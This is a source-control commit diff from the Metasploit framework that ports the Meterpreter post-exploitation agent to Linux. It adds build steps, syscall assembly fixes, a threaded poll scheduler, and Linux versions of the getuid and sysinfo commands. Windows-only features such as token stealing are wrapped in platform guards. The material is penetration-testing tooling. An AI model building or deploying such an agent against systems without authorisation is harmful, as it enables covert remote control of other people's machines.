sync up with Philip's code, see #2418
git-svn-id: file:///home/svn/framework3/trunk@10202 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
3c704ec753
commit
3b67eefe4e
|
@ -50,11 +50,15 @@ Edit the Configure file. Locate "linux-elf line, duplicate it, s/-elf/-msf/, s/-
|
|||
# cd external/source/meterpreter/workspace/common
|
||||
# make
|
||||
|
||||
.. copy libsupport.so to source/bionic/compiled ..
|
||||
|
||||
6) Build the metsrv_main binary
|
||||
|
||||
# cd external/source/meterpreter/workspace/metsrv
|
||||
# make
|
||||
|
||||
You will need to generate a linker script, and set the location to 0x00040000. -Wl,-verbose >log , edit log for == ==
|
||||
|
||||
.. copy metsrv_main to source/bionic/compiled directory
|
||||
|
||||
7) Build the rtld binary (last step)
|
||||
|
@ -64,4 +68,10 @@ Edit the Configure file. Locate "linux-elf line, duplicate it, s/-elf/-msf/, s/-
|
|||
|
||||
(make test will make msflinker, which you can use to test the meterpreter)
|
||||
|
||||
8) Compile the ext_server_stdapi
|
||||
|
||||
# external/source/meterpreter/workspace/extensions/stdapi
|
||||
# make
|
||||
|
||||
copy ext_server_stdapi.so to data/meterpreter/ext_server_stdai.lso <-- notice the .lso
|
||||
|
||||
|
|
|
@ -192,7 +192,7 @@ BIONIC_SRC_SUBDIRS = string ;
|
|||
BIONIC_x86_SUBDIRS = ;
|
||||
BIONIC_arm_SUBDIRS = ;
|
||||
|
||||
CFLAGS = -O0 -g -W ;
|
||||
CFLAGS = -O0 -g -W ;
|
||||
|
||||
|
||||
|
||||
|
@ -377,7 +377,7 @@ DEFINES = USE_LOCKS
|
|||
ANDROID
|
||||
;
|
||||
|
||||
CFLAGS_x86 = -Iprivate -Ibionic -Ikernel/arch-x86 -Ikernel/common -I../libm/include -fno-stack-protector -fno-pie -DPIC -ffreestanding -fno-tree-scev-cprop ;
|
||||
CFLAGS_x86 = -Iprivate -Ibionic -Ikernel/arch-x86 -Ikernel/common -I../libm/include -fno-stack-protector -fno-pie -DPIC -ffreestanding -fno-tree-scev-cprop ;
|
||||
|
||||
|
||||
for arch in $(ARCH)
|
||||
|
|
|
@ -7,6 +7,13 @@
|
|||
.align 4
|
||||
|
||||
getresgid:
|
||||
pushl %ebx
|
||||
pushl %ecx
|
||||
pushl %edx
|
||||
mov 16(%esp), %ebx
|
||||
mov 20(%esp), %ecx
|
||||
mov 24(%esp), %edx
|
||||
|
||||
movl $__NR_getresgid32, %eax
|
||||
int $0x80
|
||||
cmpl $-129, %eax
|
||||
|
@ -17,4 +24,7 @@ getresgid:
|
|||
addl $4, %esp
|
||||
orl $-1, %eax
|
||||
1:
|
||||
popl %edx
|
||||
popl %ecx
|
||||
popl %ebx
|
||||
ret
|
||||
|
|
|
@ -7,6 +7,13 @@
|
|||
.align 4
|
||||
|
||||
getresuid:
|
||||
pushl %ebx
|
||||
pushl %ecx
|
||||
pushl %edx
|
||||
mov 16(%esp), %ebx
|
||||
mov 20(%esp), %ecx
|
||||
mov 24(%esp), %edx
|
||||
|
||||
movl $__NR_getresuid32, %eax
|
||||
int $0x80
|
||||
cmpl $-129, %eax
|
||||
|
@ -17,4 +24,7 @@ getresuid:
|
|||
addl $4, %esp
|
||||
orl $-1, %eax
|
||||
1:
|
||||
popl %edx
|
||||
popl %ecx
|
||||
popl %ebx
|
||||
ret
|
||||
|
|
|
@ -96,6 +96,8 @@ static __inline__ int sigfillset(sigset_t *set)
|
|||
typedef void (*sig_t)(int);
|
||||
typedef sig_t sighandler_t;
|
||||
|
||||
#ifndef METSRV_RTLD
|
||||
|
||||
/* differentiater between sysv and bsd behaviour 8*/
|
||||
extern __sighandler_t sysv_signal(int, __sighandler_t);
|
||||
extern __sighandler_t bsd_signal(int, __sighandler_t);
|
||||
|
@ -106,6 +108,8 @@ static __inline__ __sighandler_t signal(int s, __sighandler_t f)
|
|||
return bsd_signal(s,f);
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
/* the syscall itself */
|
||||
extern __sighandler_t __signal(int, __sighandler_t, int);
|
||||
|
||||
|
|
|
@ -1 +0,0 @@
|
|||
termios.h
|
|
@ -1,10 +1,10 @@
|
|||
CFLAGS= -nostdinc -nostdlib -fPIC -DPIC
|
||||
CFLAGS+= -I../libc/include -I../libc/private -I../libc/bionic -I../libc/kernel/arch-x86
|
||||
CFLAGS+= -I../libc/kernel/common/linux/ -I ../libc/arch-x86/include/ -I /opt/bionic/libc/kernel/common/
|
||||
CFLAGS+= -I../libc/kernel/common/linux/ -I../libc/arch-x86/include/ -I../libc/kernel/common/
|
||||
|
||||
|
||||
all:
|
||||
gcc -shared -o libdl.so $(CFLAGS) libdl.c
|
||||
gcc -m32 -shared -o libdl.so $(CFLAGS) libdl.c
|
||||
|
||||
clean:
|
||||
rm libdl.so
|
||||
|
|
|
@ -2,6 +2,8 @@
|
|||
#include "common.h"
|
||||
#include <poll.h>
|
||||
|
||||
#include <pthread.h>
|
||||
|
||||
typedef struct _WaitableEntry
|
||||
{
|
||||
HANDLE waitable;
|
||||
|
@ -14,15 +16,91 @@ int nentries = 0;
|
|||
int ntableentries = 0;
|
||||
struct pollfd *polltable;
|
||||
LIST_HEAD(_WaitableEntryHead, _WaitableEntry) WEHead;
|
||||
|
||||
THREAD *scheduler_thread;
|
||||
|
||||
/*
|
||||
* If there are no waitables in the queue, we wait
|
||||
* for a conditional broadcast to start it.
|
||||
*/
|
||||
|
||||
pthread_mutex_t scheduler_mutex;
|
||||
pthread_cond_t scheduler_cond;
|
||||
|
||||
DWORD scheduler_run(THREAD *thread);
|
||||
|
||||
DWORD scheduler_destroy( VOID )
|
||||
{
|
||||
return 0;
|
||||
WaitableEntry *current, *tmp;
|
||||
|
||||
dprintf("[%s] Shutdown of scheduler requested", __FUNCTION__);
|
||||
|
||||
if(scheduler_thread)
|
||||
{
|
||||
dprintf("[%s] sigterm'ing thread", __FUNCTION__);
|
||||
thread_sigterm(scheduler_thread);
|
||||
|
||||
// wake up the thread if needed
|
||||
pthread_cond_signal(&scheduler_cond);
|
||||
|
||||
// can delay execution up to 2 sec give or take
|
||||
thread_join(scheduler_thread);
|
||||
|
||||
// free up memory
|
||||
thread_destroy(scheduler_thread);
|
||||
scheduler_thread = NULL;
|
||||
|
||||
dprintf("[%s] thread joined .. going for polltable", __FUNCTION__);
|
||||
|
||||
if(polltable)
|
||||
{
|
||||
free(polltable);
|
||||
polltable = NULL;
|
||||
nentries = ntableentries = 0;
|
||||
}
|
||||
|
||||
dprintf("[%s] Now for the fun part, iterating through list and removing items");
|
||||
|
||||
LIST_FOREACH_SAFE(current, &WEHead, link, tmp)
|
||||
{
|
||||
// can't call close function due to no remote struct
|
||||
// will segfault if we try
|
||||
// XXX could steal from scheduler_thread->parameter1 ?
|
||||
|
||||
dprintf("[%s] current: %08x, current->routine: %08x", __FUNCTION__, current, current->routine);
|
||||
|
||||
LIST_REMOVE(current, link);
|
||||
close(current->waitable);
|
||||
free(current->context);
|
||||
free(current);
|
||||
}
|
||||
|
||||
dprintf("[%s] All done. Leaving", __FUNCTION__);
|
||||
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD scheduler_initialize( Remote * remote )
|
||||
{
|
||||
return 0;
|
||||
if(scheduler_thread) {
|
||||
dprintf("[%s] Hmmm. scheduler_initialize() called twice?");
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
pthread_mutex_init(&scheduler_mutex, NULL);
|
||||
pthread_cond_init(&scheduler_cond, NULL);
|
||||
|
||||
scheduler_thread = thread_create(scheduler_run, remote, NULL);
|
||||
if(! scheduler_thread) {
|
||||
return ENOMEM;
|
||||
}
|
||||
|
||||
thread_run(scheduler_thread);
|
||||
|
||||
dprintf("[%s] Initialized scheduler thread and started it running", __FUNCTION__);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
|
@ -32,30 +110,69 @@ DWORD
|
|||
scheduler_insert_waitable(HANDLE waitable, LPVOID context,
|
||||
WaitableNotifyRoutine routine)
|
||||
{
|
||||
DWORD retcode = ERROR_SUCCESS;
|
||||
|
||||
WaitableEntry *current;
|
||||
struct pollfd *polltableprev;
|
||||
|
||||
pthread_mutex_lock(&scheduler_mutex);
|
||||
|
||||
//dprintf("[%s] Handle: %d, context: 0x%08x, routine: 0x%08x. nentries = %d, polltable = 0x%08x",
|
||||
// __FUNCTION__, waitable, context, routine, nentries, polltable);
|
||||
|
||||
do {
|
||||
if ((current = malloc(sizeof(WaitableEntry))) == NULL) {
|
||||
retcode = ENOMEM;
|
||||
break;
|
||||
}
|
||||
|
||||
nentries++;
|
||||
|
||||
if (nentries > ntableentries) {
|
||||
polltableprev = polltable;
|
||||
|
||||
// We do *2 because reallocating every scheduler_insert_waitable
|
||||
// is slower than need be.
|
||||
|
||||
polltable = malloc((nentries*2)*sizeof(struct pollfd));
|
||||
|
||||
if (polltable == NULL) {
|
||||
nentries--;
|
||||
polltable = polltableprev;
|
||||
free(current);
|
||||
|
||||
retcode = ENOMEM;
|
||||
break;
|
||||
}
|
||||
|
||||
if (polltableprev != NULL)
|
||||
free(polltableprev);
|
||||
|
||||
if ((current = malloc(sizeof(WaitableEntry))) == NULL)
|
||||
return (ENOMEM);
|
||||
nentries++;
|
||||
if (nentries > ntableentries) {
|
||||
polltableprev = polltable;
|
||||
polltable = malloc(nentries*sizeof(struct pollfd));
|
||||
if (polltable == NULL) {
|
||||
polltable = polltableprev;
|
||||
free(current);
|
||||
return (ENOMEM);
|
||||
} else if (polltableprev != NULL)
|
||||
free(polltableprev);
|
||||
ntableentries = nentries;
|
||||
}
|
||||
current->waitable = waitable;
|
||||
current->context = context;
|
||||
current->routine = routine;
|
||||
ntableentries = (nentries*2);
|
||||
}
|
||||
current->waitable = waitable;
|
||||
current->context = context;
|
||||
current->routine = routine;
|
||||
|
||||
LIST_INSERT_HEAD(&WEHead, current, link);
|
||||
LIST_INSERT_HEAD(&WEHead, current, link);
|
||||
|
||||
return (0);
|
||||
|
||||
} while(0);
|
||||
|
||||
|
||||
dprintf("[%s] WEHead: %08x, Now nentries = %d, and polltable = 0x%08x. LIST_EMPTY: %d", __FUNCTION__, &WEHead, nentries, polltable, LIST_EMPTY(&WEHead));
|
||||
/*
|
||||
LIST_FOREACH(current, &WEHead, link)
|
||||
dprintf("[%s] current->waitable: %d, current->context: %08x, current->routine: %08x",
|
||||
__FUNCTION__, current->waitable, current->context, current->routine);
|
||||
*/
|
||||
|
||||
pthread_mutex_unlock(&scheduler_mutex);
|
||||
|
||||
// wake up scheduler if needed.
|
||||
pthread_cond_signal(&scheduler_cond);
|
||||
|
||||
return retcode;
|
||||
}
|
||||
|
||||
/*
|
||||
|
@ -64,55 +181,133 @@ scheduler_insert_waitable(HANDLE waitable, LPVOID context,
|
|||
DWORD
|
||||
scheduler_remove_waitable(HANDLE waitable)
|
||||
{
|
||||
DWORD retcode = ERROR_SUCCESS;
|
||||
WaitableEntry *current;
|
||||
|
||||
LIST_FOREACH(current, &WEHead, link)
|
||||
if (current->waitable == waitable)
|
||||
break;
|
||||
dprintf("[%s] Handle: %d", __FUNCTION__, waitable);
|
||||
|
||||
if (current == NULL)
|
||||
return (ENOENT);
|
||||
pthread_mutex_lock(&scheduler_mutex);
|
||||
|
||||
LIST_REMOVE(current, link);
|
||||
free(current);
|
||||
nentries--;
|
||||
return (0);
|
||||
do {
|
||||
LIST_FOREACH(current, &WEHead, link)
|
||||
if (current->waitable == waitable)
|
||||
break;
|
||||
|
||||
if (current == NULL) {
|
||||
retcode = ENOENT;
|
||||
break;
|
||||
}
|
||||
|
||||
LIST_REMOVE(current, link);
|
||||
free(current);
|
||||
nentries--;
|
||||
} while(0);
|
||||
|
||||
pthread_mutex_unlock(&scheduler_mutex);
|
||||
|
||||
return retcode;
|
||||
}
|
||||
|
||||
/*
|
||||
* Runs the scheduler, checking waitable objects for data
|
||||
*/
|
||||
DWORD
|
||||
scheduler_run(Remote *remote, DWORD timeout)
|
||||
scheduler_run(THREAD *thread)
|
||||
{
|
||||
WaitableEntry *current;
|
||||
int ret, i, found, idx = 0;
|
||||
Remote *remote;
|
||||
remote = (Remote *) thread->parameter1;
|
||||
WaitableEntry *current, *tmp;
|
||||
int ret, i, found, idx;
|
||||
int timeout;
|
||||
|
||||
if (LIST_EMPTY(&WEHead) || polltable == NULL)
|
||||
return (ENOENT);
|
||||
|
||||
LIST_FOREACH(current, &WEHead, link) {
|
||||
polltable[idx].fd = current->waitable;
|
||||
polltable[idx].events = POLLRDNORM;
|
||||
polltable[idx].revents = 0;
|
||||
idx++;
|
||||
}
|
||||
|
||||
if ((ret = poll(polltable, idx, timeout)) == 0)
|
||||
return (ENOENT);
|
||||
|
||||
for (found = i = 0; i < idx && found < ret; i++) {
|
||||
if (polltable[i].revents) {
|
||||
LIST_FOREACH(current, &WEHead, link)
|
||||
if (current->waitable == polltable[i].fd)
|
||||
break;
|
||||
ret = current->routine(remote, current->context);
|
||||
timeout = 1000;
|
||||
|
||||
// see if we can modify this code to use waitable as the index into polltable
|
||||
// and waitable events. saves time looking up in exchange for more memory use.
|
||||
|
||||
pthread_mutex_lock(&scheduler_mutex);
|
||||
|
||||
dprintf("[%s] Beginning loop", __FUNCTION__);
|
||||
|
||||
while( event_poll(thread->sigterm, 0) == FALSE )
|
||||
{
|
||||
// scheduler_mutex is held upon entry and execution of the loop
|
||||
|
||||
idx = 0;
|
||||
|
||||
while(event_poll(thread->sigterm, 0) == FALSE && (LIST_EMPTY(&WEHead) || polltable == NULL)) {
|
||||
// XXX I'd prefer to use pthread_cond_timedwait, but it's broken in bionic and just
|
||||
// chews cpu
|
||||
|
||||
dprintf("[%s] Waiting for conditional (%08x). %d vs %d",
|
||||
__FUNCTION__, &scheduler_cond, LIST_EMPTY(&WEHead), polltable == NULL);
|
||||
|
||||
pthread_cond_wait(&scheduler_cond, &scheduler_mutex);
|
||||
}
|
||||
|
||||
LIST_FOREACH(current, &WEHead, link) {
|
||||
dprintf("[%s] current->waitable: %d, current->context: %08x, current->routine: %08x",
|
||||
__FUNCTION__, current->waitable, current->context, current->routine);
|
||||
polltable[idx].fd = current->waitable;
|
||||
polltable[idx].events = POLLRDNORM;
|
||||
polltable[idx].revents = 0;
|
||||
idx++;
|
||||
}
|
||||
|
||||
dprintf("[%s] Created a polltable of %d", __FUNCTION__, idx);
|
||||
|
||||
pthread_mutex_unlock(&scheduler_mutex);
|
||||
|
||||
ret = poll(polltable, idx, timeout);
|
||||
|
||||
pthread_mutex_lock(&scheduler_mutex);
|
||||
|
||||
if(ret == 0) continue;
|
||||
if(ret == -1) {
|
||||
if(errno == EAGAIN || errno == EWOULDBLOCK || errno == EINTR) {
|
||||
continue;
|
||||
}
|
||||
dprintf("[%s] poll() failed, errno: %d (%s). Sleeping 1 second and retrying", __FUNCTION__, errno, strerror(errno));
|
||||
sleep(1);
|
||||
continue;
|
||||
}
|
||||
|
||||
for (found = i = 0; i < idx && found < ret; i++)
|
||||
{
|
||||
if (polltable[i].revents)
|
||||
{
|
||||
LIST_FOREACH(current, &WEHead, link)
|
||||
if (current->waitable == polltable[i].fd)
|
||||
break;
|
||||
|
||||
if(current)
|
||||
{
|
||||
ret = current->routine(remote, current->context);
|
||||
if(ret != ERROR_SUCCESS)
|
||||
{
|
||||
// could call close due to remote, but it would deadlock
|
||||
// if it calls remove waitable
|
||||
// could make a separate list to handle when we are not locking
|
||||
// unlink and let rest deal with it ?
|
||||
|
||||
dprintf("[%s] current->routine (%08x / %08x) returned an error message. destroying", __FUNCTION__, current->routine, current->context);
|
||||
|
||||
LIST_REMOVE(current, link);
|
||||
close(current->waitable);
|
||||
free(current);
|
||||
nentries--;
|
||||
|
||||
// how do we notify remote that we have closed fd?
|
||||
// it just hangs atm :~(
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
/*
|
||||
* return last result
|
||||
*/
|
||||
return (ret);
|
||||
|
||||
dprintf("[%s] Ending loop", __FUNCTION__);
|
||||
|
||||
pthread_mutex_unlock(&scheduler_mutex);
|
||||
}
|
||||
|
||||
|
||||
|
|
|
@ -4,11 +4,7 @@
|
|||
#include <sys/types.h>
|
||||
#include <netinet/in.h>
|
||||
|
||||
#pragma redefine_extname malloc common_malloc
|
||||
|
||||
#if defined(__FreeBSD__)
|
||||
#undef errno
|
||||
extern int errno;
|
||||
#include <sys/filio.h>
|
||||
#elif defined(__linux__)
|
||||
#define __va_list __ptr_t
|
||||
|
@ -124,7 +120,6 @@ char *strdup(const char *__restrict);
|
|||
|
||||
ssize_t write(int d, const void *buf, size_t nbytes);
|
||||
ssize_t read(int d, void *buf, size_t nbytes);
|
||||
void exit(int status);
|
||||
|
||||
|
||||
void abort(void);
|
||||
|
|
|
@ -97,9 +97,9 @@ EVENT * event_create( VOID )
|
|||
if( event == NULL )
|
||||
return NULL;
|
||||
|
||||
#ifdef _WIN32
|
||||
memset( event, 0, sizeof( EVENT ) );
|
||||
|
||||
#ifdef _WIN32
|
||||
event->handle = CreateEvent( NULL, FALSE, FALSE, NULL );
|
||||
if( event->handle == NULL )
|
||||
{
|
||||
|
@ -168,22 +168,26 @@ BOOL event_poll( EVENT * event, DWORD timeout )
|
|||
// );
|
||||
// http://msdn.microsoft.com/en-us/library/ms687032(VS.85).aspx
|
||||
|
||||
struct timespec ts;
|
||||
if(timeout) {
|
||||
struct timespec ts;
|
||||
|
||||
// XXX, need to verify for -1. below modified from bionic/pthread.c
|
||||
ts.tv_sec = timeout / 1000;
|
||||
ts.tv_nsec = (timeout%1000)*1000000;
|
||||
if (ts.tv_nsec >= 1000000000) {
|
||||
ts.tv_sec++;
|
||||
ts.tv_nsec -= 1000000000;
|
||||
// XXX, need to verify for -1. below modified from bionic/pthread.c
|
||||
// and maybe loop if needed ;\
|
||||
|
||||
ts.tv_sec = timeout / 1000;
|
||||
ts.tv_nsec = (timeout%1000)*1000000;
|
||||
if (ts.tv_nsec >= 1000000000) {
|
||||
ts.tv_sec++;
|
||||
ts.tv_nsec -= 1000000000;
|
||||
}
|
||||
|
||||
// atomically checks if event->handle is 0, if so,
|
||||
// it sleeps for timeout. if event->handle is 1, it
|
||||
// returns straight away.
|
||||
|
||||
__futex_wait(&(event->handle), 0, &ts);
|
||||
}
|
||||
|
||||
// atomically checks if event->handle is 0, if so,
|
||||
// it sleeps for timeout. if event->handle is 1, it
|
||||
// returns straight away.
|
||||
|
||||
__futex_wait(&(event->handle), 0, &ts);
|
||||
|
||||
return event->handle ? TRUE : FALSE;
|
||||
#endif
|
||||
}
|
||||
|
@ -252,6 +256,7 @@ THREAD * thread_open( VOID )
|
|||
|
||||
thread->id = gettid();
|
||||
thread->sigterm = event_create();
|
||||
thread->pid = pthread_self();
|
||||
}
|
||||
return thread;
|
||||
#endif
|
||||
|
@ -369,7 +374,7 @@ THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2 )
|
|||
|
||||
thread->suspend_thread_data = (void *)(tc);
|
||||
|
||||
if(pthread_create(&pid, NULL, __paused_thread, tc) == -1) {
|
||||
if(pthread_create(&(thread->pid), NULL, __paused_thread, tc) == -1) {
|
||||
free(tc);
|
||||
event_destroy(thread->sigterm);
|
||||
free(thread);
|
||||
|
@ -463,7 +468,7 @@ BOOL thread_join( THREAD * thread )
|
|||
|
||||
return FALSE;
|
||||
#else
|
||||
if(pthread_join(thread->id, NULL) == 0)
|
||||
if(pthread_join(thread->pid, NULL) == 0)
|
||||
return TRUE;
|
||||
|
||||
return FALSE;
|
||||
|
@ -484,7 +489,7 @@ BOOL thread_destroy( THREAD * thread )
|
|||
#ifdef _WIN32
|
||||
CloseHandle( thread->handle );
|
||||
#else
|
||||
//pthread_detach(thread->handle);
|
||||
pthread_detach(thread->pid);
|
||||
#endif
|
||||
|
||||
free( thread );
|
||||
|
|
|
@ -62,6 +62,7 @@ typedef struct _THREAD
|
|||
LPVOID parameter2;
|
||||
#ifndef _WIN32
|
||||
void *suspend_thread_data;
|
||||
pthread_t pid;
|
||||
#endif
|
||||
} THREAD, * LPTHREAD;
|
||||
|
||||
|
|
|
@ -17,6 +17,9 @@
|
|||
#include <netdb.h>
|
||||
#include <netinet/in.h>
|
||||
#include <stdarg.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/wait.h>
|
||||
#include <termios.h>
|
||||
|
||||
#define IN_ADDR struct in_addr
|
||||
#define SOCKADDR_IN struct sockaddr_in
|
||||
|
|
|
@ -59,10 +59,12 @@ Command customCommands[] =
|
|||
{ request_fs_file_expand_path, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
#ifdef _WIN32
|
||||
{ "stdapi_fs_search",
|
||||
{ request_fs_search, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
#endif
|
||||
|
||||
// Process
|
||||
{ "stdapi_sys_process_attach",
|
||||
|
@ -98,6 +100,7 @@ Command customCommands[] =
|
|||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
#ifdef _WIN32
|
||||
// Image
|
||||
{ "stdapi_sys_process_image_load",
|
||||
{ request_sys_process_image_load, { 0 }, 0 },
|
||||
|
@ -188,6 +191,7 @@ Command customCommands[] =
|
|||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
|
||||
// Registry
|
||||
{ "stdapi_registry_open_key",
|
||||
{ request_registry_open_key, { 0 }, 0 },
|
||||
|
@ -229,6 +233,7 @@ Command customCommands[] =
|
|||
{ request_registry_delete_value, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
#endif
|
||||
|
||||
// Sys/config
|
||||
{ "stdapi_sys_config_getuid",
|
||||
|
@ -255,6 +260,8 @@ Command customCommands[] =
|
|||
{ request_sys_config_drop_token, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
#ifdef _WIN32
|
||||
// Net
|
||||
{ "stdapi_net_config_get_routes",
|
||||
{ request_net_config_get_routes, { 0 }, 0 },
|
||||
|
@ -351,7 +358,7 @@ Command customCommands[] =
|
|||
{ request_sys_power_exitwindows, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
#endif
|
||||
// Terminator
|
||||
{ NULL,
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
|
|
|
@ -1,5 +1,9 @@
|
|||
#include "precomp.h"
|
||||
|
||||
#ifndef _WIN32
|
||||
#include <sys/utsname.h>
|
||||
#endif
|
||||
|
||||
/*
|
||||
* sys_getuid
|
||||
* ----------
|
||||
|
@ -10,6 +14,7 @@ DWORD request_sys_config_getuid(Remote *remote, Packet *packet)
|
|||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
#ifdef _WIN32
|
||||
CHAR username[512], username_only[512], domainname_only[512];
|
||||
LPVOID TokenUserInfo[4096];
|
||||
HANDLE token;
|
||||
|
@ -44,6 +49,19 @@ DWORD request_sys_config_getuid(Remote *remote, Packet *packet)
|
|||
packet_add_tlv_string(response, TLV_TYPE_USER_NAME, username);
|
||||
|
||||
} while (0);
|
||||
#else
|
||||
CHAR info[512];
|
||||
uid_t ru, eu, su;
|
||||
gid_t rg, eg, sg;
|
||||
|
||||
ru = eu = su = rg = eg = sg = 31337;
|
||||
|
||||
getresuid(&ru, &eu, &su);
|
||||
getresgid(&rg, &eg, &sg);
|
||||
|
||||
snprintf(info, sizeof(info)-1, "uid=%d, gid=%d, euid=%d, egid=%d, suid=%d, sgid=%d", ru, rg, eu, eg, su, sg);
|
||||
packet_add_tlv_string(response, TLV_TYPE_USER_NAME, info);
|
||||
#endif
|
||||
|
||||
// Transmit the response
|
||||
packet_transmit_response(res, remote, response);
|
||||
|
@ -60,6 +78,7 @@ DWORD request_sys_config_getuid(Remote *remote, Packet *packet)
|
|||
DWORD request_sys_config_drop_token(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
#ifdef _WIN32
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
CHAR username[512], username_only[512], domainname_only[512];
|
||||
LPVOID TokenUserInfo[4096];
|
||||
|
@ -93,7 +112,9 @@ DWORD request_sys_config_drop_token(Remote *remote, Packet *packet)
|
|||
packet_add_tlv_string(response, TLV_TYPE_USER_NAME, username);
|
||||
|
||||
} while (0);
|
||||
|
||||
#else
|
||||
DWORD res = ERROR_NOT_SUPPORTED;
|
||||
#endif
|
||||
// Transmit the response
|
||||
packet_transmit_response(res, remote, response);
|
||||
|
||||
|
@ -110,6 +131,7 @@ DWORD request_sys_config_drop_token(Remote *remote, Packet *packet)
|
|||
DWORD request_sys_config_getprivs(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
#ifdef _WIN32
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
HANDLE token = NULL;
|
||||
int x;
|
||||
|
@ -171,7 +193,9 @@ DWORD request_sys_config_getprivs(Remote *remote, Packet *packet)
|
|||
|
||||
if(token)
|
||||
CloseHandle(token);
|
||||
|
||||
#else
|
||||
DWORD res = ERROR_NOT_SUPPORTED;
|
||||
#endif
|
||||
// Transmit the response
|
||||
packet_transmit_response(res, remote, response);
|
||||
|
||||
|
@ -187,6 +211,7 @@ DWORD request_sys_config_getprivs(Remote *remote, Packet *packet)
|
|||
DWORD request_sys_config_steal_token(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
#ifdef _WIN32
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
CHAR username[512], username_only[512], domainname_only[512];
|
||||
LPVOID TokenUserInfo[4096];
|
||||
|
@ -267,7 +292,9 @@ DWORD request_sys_config_steal_token(Remote *remote, Packet *packet)
|
|||
|
||||
if(token)
|
||||
CloseHandle(token);
|
||||
|
||||
#else
|
||||
DWORD res = ERROR_NOT_SUPPORTED;
|
||||
#endif
|
||||
// Transmit the response
|
||||
packet_transmit_response(res, remote, response);
|
||||
|
||||
|
@ -283,6 +310,7 @@ DWORD request_sys_config_steal_token(Remote *remote, Packet *packet)
|
|||
DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
#ifdef _WIN32
|
||||
CHAR computer[512], buf[512], *osName = NULL, * osArch = NULL, * osWow = NULL;
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
DWORD size = sizeof(computer);
|
||||
|
@ -443,7 +471,27 @@ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet)
|
|||
|
||||
|
||||
} while (0);
|
||||
#else
|
||||
CHAR os[512];
|
||||
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
|
||||
do {
|
||||
struct utsname utsbuf;
|
||||
if( uname( &utsbuf ) == -1) {
|
||||
res = GetLastError();
|
||||
break;
|
||||
}
|
||||
|
||||
snprintf(os, sizeof(os)-1, "%s %s %s %s (%s)", utsbuf.sysname, utsbuf.nodename, utsbuf.release, utsbuf.version, utsbuf.machine, utsbuf.domainname);
|
||||
|
||||
packet_add_tlv_string(response, TLV_TYPE_COMPUTER_NAME, utsbuf.nodename);
|
||||
packet_add_tlv_string(response, TLV_TYPE_OS_NAME, os);
|
||||
packet_add_tlv_string(response, TLV_TYPE_ARCHITECTURE, utsbuf.machine);
|
||||
|
||||
} while(0);
|
||||
|
||||
#endif
|
||||
// Transmit the response
|
||||
packet_transmit_response(res, remote, response);
|
||||
|
||||
|
@ -458,6 +506,7 @@ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet)
|
|||
*/
|
||||
DWORD request_sys_config_rev2self(Remote *remote, Packet *packet)
|
||||
{
|
||||
#ifdef _WIN32
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
Packet * response = NULL;
|
||||
|
||||
|
@ -482,5 +531,9 @@ DWORD request_sys_config_rev2self(Remote *remote, Packet *packet)
|
|||
if( response )
|
||||
packet_transmit_response( dwResult, remote, response );
|
||||
|
||||
#else
|
||||
DWORD dwResult = ERROR_NOT_SUPPORTED;
|
||||
#endif
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
|
|
@ -1,4 +1,6 @@
|
|||
#include "precomp.h"
|
||||
|
||||
#ifdef _WIN32
|
||||
#include "ps.h" // include the code for listing proceses
|
||||
#include "./../session.h"
|
||||
#include "in-mem-exe.h" /* include skapetastic in-mem exe exec */
|
||||
|
@ -8,6 +10,8 @@ typedef BOOL (STDMETHODCALLTYPE FAR * LPFNCREATEENVIRONMENTBLOCK)( LPVOID *lpEn
|
|||
typedef BOOL (STDMETHODCALLTYPE FAR * LPFNDESTROYENVIRONMENTBLOCK) ( LPVOID lpEnvironment );
|
||||
typedef BOOL (WINAPI * LPCREATEPROCESSWITHTOKENW)( HANDLE, DWORD, LPCWSTR, LPWSTR, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION );
|
||||
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Attaches to the supplied process identifier. If no process identifier is
|
||||
* supplied, the handle for the current process is returned to the requestor.
|
||||
|
@ -18,6 +22,7 @@ DWORD request_sys_process_attach(Remote *remote, Packet *packet)
|
|||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
HANDLE handle = NULL;
|
||||
#ifdef _WIN32
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
DWORD pid;
|
||||
|
||||
|
@ -43,6 +48,9 @@ DWORD request_sys_process_attach(Remote *remote, Packet *packet)
|
|||
